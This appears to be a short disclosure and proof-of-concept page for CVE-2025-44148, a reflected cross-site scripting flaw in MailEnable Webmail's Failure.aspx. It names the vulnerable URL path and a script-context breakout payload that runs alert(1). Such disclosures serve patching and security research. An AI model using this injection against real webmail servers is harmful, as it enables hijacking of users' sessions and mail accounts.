CVE-2025-44148 PoC — MailEnable 安全漏洞

Description

A reflected cross-site scripting (XSS) vulnerability exists in MailEnable Webmail due to improper user input sanitization in the failure.aspx. This allows a remote attacker to inject arbitrary JavaScript code via a crafted URL, which is then reflected in the server's response and executed in the context of the user's browser session.

介绍

# CVE-2025-44148 - Reflected Cross-Site Scripting (Reflected XSS)
Reflected Cross-Site Scripting (XSS) in MailEnable<br/>
Vendor: MailEnable Pty. Ltd.<br/>
Affected Versions: <10

# Description
A reflected cross-site scripting (XSS) vulnerability exists in MailEnable Webmail due to improper user input sanitization in the failure.aspx. This allows a remote attacker to inject arbitrary JavaScript code via a crafted URL, which is then reflected in the server's response and executed in the context of the user's browser session.

# POC
- Go to **/Mondo/lang/sys/Failure.aspx?state=19753** Page
- Use **%22;}alert(1);function%20test(){%22** Paylaod for exploitation
<br/><br/>
![2](https://github.com/user-attachments/assets/3ff590f5-a5da-4b50-b36b-0982ee2e4600)

文件快照

备注